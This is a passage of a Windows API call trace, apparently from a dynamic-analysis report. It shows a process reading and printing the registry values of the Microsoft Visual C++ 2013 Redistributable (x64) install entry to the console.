() returned 0x3c0000 [0149.612] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x4 [0149.612] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.612] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EngineVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.612] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EngineVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x18) returned 0x0 [0149.612] GetProcessHeap () returned 0x3c0000 [0149.612] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1a) returned 0x3d5c30 [0149.612] GetProcessHeap () returned 0x3c0000 [0149.612] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.612] GetProcessHeap () returned 0x3c0000 [0149.612] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1a [0149.612] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EngineVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x18 | out: pdwType=0x29f700*=0x1, pvData="3.7.2829.0", pcbData=0x29f780*=0x16) returned 0x0 [0149.612] __iob_func () returned 0x7fefd702a80 [0149.612] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.612] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.612] _fileno (_File=0x7fefd702ab0) returned 1 [0149.612] _errno () returned 0x204bb0 [0149.612] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.612] _errno () returned 0x204bb0 [0149.612] GetFileType (hFile=0x50) returned 0x1 [0149.612] lstrlenW (lpString=" ") returned 4 [0149.612] GetConsoleOutputCP () returned 0x1b5 [0149.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.612] GetConsoleOutputCP () returned 0x1b5 [0149.613] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.613] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.613] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.613] lstrlenW (lpString="EngineVersion") returned 13 [0149.613] __iob_func () returned 0x7fefd702a80 [0149.613] _fileno (_File=0x7fefd702ab0) returned 1 [0149.613] _errno () returned 0x204bb0 [0149.613] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.613] _errno () returned 0x204bb0 [0149.613] GetFileType (hFile=0x50) returned 0x1 [0149.613] lstrlenW (lpString="EngineVersion") returned 13 [0149.613] GetConsoleOutputCP () returned 0x1b5 [0149.613] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EngineVersion", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.613] GetConsoleOutputCP () returned 0x1b5 [0149.613] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EngineVersion", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EngineVersion", lpUsedDefaultChar=0x0) returned 13 [0149.613] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.613] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.613] __iob_func () returned 0x7fefd702a80 [0149.613] _fileno (_File=0x7fefd702ab0) returned 1 [0149.613] _errno () returned 0x204bb0 [0149.613] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.613] _errno () returned 0x204bb0 [0149.614] GetFileType (hFile=0x50) returned 0x1 [0149.614] lstrlenW (lpString=" ") returned 4 [0149.614] GetConsoleOutputCP () returned 0x1b5 [0149.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.614] GetConsoleOutputCP () returned 0x1b5 [0149.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.614] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.614] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.614] __iob_func () returned 0x7fefd702a80 [0149.614] _fileno (_File=0x7fefd702ab0) returned 1 [0149.614] _errno () returned 0x204bb0 [0149.614] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.614] _errno () returned 0x204bb0 [0149.614] GetFileType (hFile=0x50) returned 0x1 [0149.614] lstrlenW (lpString="REG_SZ") returned 6 [0149.614] GetConsoleOutputCP () returned 0x1b5 [0149.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.614] GetConsoleOutputCP () returned 0x1b5 [0149.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.614] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.615] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.615] __iob_func () returned 0x7fefd702a80 [0149.615] _fileno (_File=0x7fefd702ab0) returned 1 [0149.615] _errno () returned 0x204bb0 [0149.615] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.615] _errno () returned 0x204bb0 [0149.615] GetFileType (hFile=0x50) returned 0x1 [0149.615] lstrlenW (lpString=" ") returned 4 [0149.615] GetConsoleOutputCP () returned 0x1b5 [0149.615] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.615] GetConsoleOutputCP () returned 0x1b5 [0149.615] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.615] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.615] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.615] __iob_func () returned 0x7fefd702a80 [0149.615] _fileno (_File=0x7fefd702ab0) returned 1 [0149.615] _errno () returned 0x204bb0 [0149.615] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.615] _errno () returned 0x204bb0 [0149.615] GetFileType (hFile=0x50) returned 0x1 [0149.615] lstrlenW (lpString="3.7.2829.0") returned 10 [0149.615] GetConsoleOutputCP () returned 0x1b5 [0149.615] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="3.7.2829.0", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0149.616] GetConsoleOutputCP () returned 0x1b5 [0149.616] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="3.7.2829.0", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3.7.2829.0", lpUsedDefaultChar=0x0) returned 10 [0149.616] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0149.616] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.616] __iob_func () returned 0x7fefd702a80 [0149.616] _fileno (_File=0x7fefd702ab0) returned 1 [0149.616] _errno () returned 0x204bb0 [0149.616] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.616] _errno () returned 0x204bb0 [0149.616] GetFileType (hFile=0x50) returned 0x1 [0149.616] lstrlenW (lpString="\n") returned 1 [0149.616] GetConsoleOutputCP () returned 0x1b5 [0149.616] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.616] GetConsoleOutputCP () returned 0x1b5 [0149.616] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.616] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.616] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.616] GetProcessHeap () returned 0x3c0000 [0149.616] GetProcessHeap () returned 0x3c0000 [0149.616] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.616] GetProcessHeap () returned 0x3c0000 [0149.616] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1a [0149.617] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0149.617] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.617] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xb0) returned 0x0 [0149.617] GetProcessHeap () returned 0x3c0000 [0149.617] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xb2) returned 0x3e1c70 [0149.617] GetProcessHeap () returned 0x3c0000 [0149.617] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.617] GetProcessHeap () returned 0x3c0000 [0149.617] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb2 [0149.617] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xb0 | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe,0", pcbData=0x29f780*=0xae) returned 0x0 [0149.617] __iob_func () returned 0x7fefd702a80 [0149.617] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.617] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.617] _fileno (_File=0x7fefd702ab0) returned 1 [0149.617] _errno () returned 0x204bb0 [0149.617] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.617] _errno () returned 0x204bb0 [0149.617] GetFileType (hFile=0x50) returned 0x1 [0149.617] lstrlenW (lpString=" ") returned 4 [0149.617] GetConsoleOutputCP () returned 0x1b5 [0149.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.617] GetConsoleOutputCP () returned 0x1b5 [0149.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.617] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.618] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.618] lstrlenW (lpString="DisplayIcon") returned 11 [0149.618] __iob_func () returned 0x7fefd702a80 [0149.618] _fileno (_File=0x7fefd702ab0) returned 1 [0149.618] _errno () returned 0x204bb0 [0149.618] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.618] _errno () returned 0x204bb0 [0149.618] GetFileType (hFile=0x50) returned 0x1 [0149.618] lstrlenW (lpString="DisplayIcon") returned 11 [0149.618] GetConsoleOutputCP () returned 0x1b5 [0149.618] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.618] GetConsoleOutputCP () returned 0x1b5 [0149.618] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0149.618] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.618] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.618] __iob_func () returned 0x7fefd702a80 [0149.618] _fileno (_File=0x7fefd702ab0) returned 1 [0149.618] _errno () returned 0x204bb0 [0149.618] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.618] _errno () returned 0x204bb0 [0149.618] GetFileType (hFile=0x50) returned 0x1 [0149.618] lstrlenW (lpString=" ") returned 4 [0149.618] GetConsoleOutputCP () returned 0x1b5 [0149.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.619] GetConsoleOutputCP () returned 0x1b5 [0149.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.619] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.619] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.619] __iob_func () returned 0x7fefd702a80 [0149.619] _fileno (_File=0x7fefd702ab0) returned 1 [0149.619] _errno () returned 0x204bb0 [0149.619] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.619] _errno () returned 0x204bb0 [0149.619] GetFileType (hFile=0x50) returned 0x1 [0149.619] lstrlenW (lpString="REG_SZ") returned 6 [0149.619] GetConsoleOutputCP () returned 0x1b5 [0149.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.619] GetConsoleOutputCP () returned 0x1b5 [0149.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.619] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.619] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.619] __iob_func () returned 0x7fefd702a80 [0149.619] _fileno (_File=0x7fefd702ab0) returned 1 [0149.619] _errno () returned 0x204bb0 [0149.619] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.619] _errno () returned 0x204bb0 [0149.620] GetFileType (hFile=0x50) returned 0x1 [0149.620] lstrlenW (lpString=" ") returned 4 [0149.620] GetConsoleOutputCP () returned 0x1b5 [0149.620] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.620] GetConsoleOutputCP () returned 0x1b5 [0149.620] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.620] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.620] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.620] __iob_func () returned 0x7fefd702a80 [0149.620] _fileno (_File=0x7fefd702ab0) returned 1 [0149.620] _errno () returned 0x204bb0 [0149.620] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.620] _errno () returned 0x204bb0 [0149.620] GetFileType (hFile=0x50) returned 0x1 [0149.620] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe,0") returned 86 [0149.620] GetConsoleOutputCP () returned 0x1b5 [0149.620] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe,0", cchWideChar=86, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 86 [0149.620] GetConsoleOutputCP () returned 0x1b5 [0149.620] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe,0", cchWideChar=86, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe,0", lpUsedDefaultChar=0x0) returned 86 [0149.620] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 86 [0149.620] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.621] __iob_func () returned 0x7fefd702a80 [0149.621] _fileno (_File=0x7fefd702ab0) returned 1 [0149.621] _errno () returned 0x204bb0 [0149.621] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.621] _errno () returned 0x204bb0 [0149.621] GetFileType (hFile=0x50) returned 0x1 [0149.621] lstrlenW (lpString="\n") returned 1 [0149.621] GetConsoleOutputCP () returned 0x1b5 [0149.621] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.621] GetConsoleOutputCP () returned 0x1b5 [0149.621] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.621] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.621] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.621] GetProcessHeap () returned 0x3c0000 [0149.621] GetProcessHeap () returned 0x3c0000 [0149.621] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.621] GetProcessHeap () returned 0x3c0000 [0149.621] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb2 [0149.621] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.621] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.621] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x7c) returned 0x0 [0149.621] GetProcessHeap () returned 0x3c0000 [0149.621] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x7e) returned 0x3db830 [0149.622] GetProcessHeap () returned 0x3c0000 [0149.622] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.622] GetProcessHeap () returned 0x3c0000 [0149.622] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7e [0149.622] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x7c | out: pdwType=0x29f700*=0x1, pvData="Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501", pcbData=0x29f780*=0x7a) returned 0x0 [0149.622] __iob_func () returned 0x7fefd702a80 [0149.622] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.622] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.622] _fileno (_File=0x7fefd702ab0) returned 1 [0149.622] _errno () returned 0x204bb0 [0149.622] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.622] _errno () returned 0x204bb0 [0149.622] GetFileType (hFile=0x50) returned 0x1 [0149.622] lstrlenW (lpString=" ") returned 4 [0149.622] GetConsoleOutputCP () returned 0x1b5 [0149.622] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.622] GetConsoleOutputCP () returned 0x1b5 [0149.622] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.622] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.622] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.622] lstrlenW (lpString="DisplayName") returned 11 [0149.622] __iob_func () returned 0x7fefd702a80 [0149.622] _fileno (_File=0x7fefd702ab0) returned 1 [0149.622] _errno () returned 0x204bb0 [0149.622] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.622] _errno () returned 0x204bb0 [0149.622] GetFileType (hFile=0x50) returned 0x1 [0149.622] lstrlenW (lpString="DisplayName") returned 11 [0149.623] GetConsoleOutputCP () returned 0x1b5 [0149.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.623] GetConsoleOutputCP () returned 0x1b5 [0149.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0149.623] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.623] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.623] __iob_func () returned 0x7fefd702a80 [0149.623] _fileno (_File=0x7fefd702ab0) returned 1 [0149.623] _errno () returned 0x204bb0 [0149.623] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.623] _errno () returned 0x204bb0 [0149.623] GetFileType (hFile=0x50) returned 0x1 [0149.623] lstrlenW (lpString=" ") returned 4 [0149.623] GetConsoleOutputCP () returned 0x1b5 [0149.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.623] GetConsoleOutputCP () returned 0x1b5 [0149.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.623] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.623] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.624] __iob_func () returned 0x7fefd702a80 [0149.624] _fileno (_File=0x7fefd702ab0) returned 1 [0149.624] _errno () returned 0x204bb0 [0149.624] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.624] _errno () returned 0x204bb0 [0149.624] GetFileType (hFile=0x50) returned 0x1 [0149.624] lstrlenW (lpString="REG_SZ") returned 6 [0149.624] GetConsoleOutputCP () returned 0x1b5 [0149.624] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.624] GetConsoleOutputCP () returned 0x1b5 [0149.624] WideCharToMultiByte (in: CodePage=0x1b5, 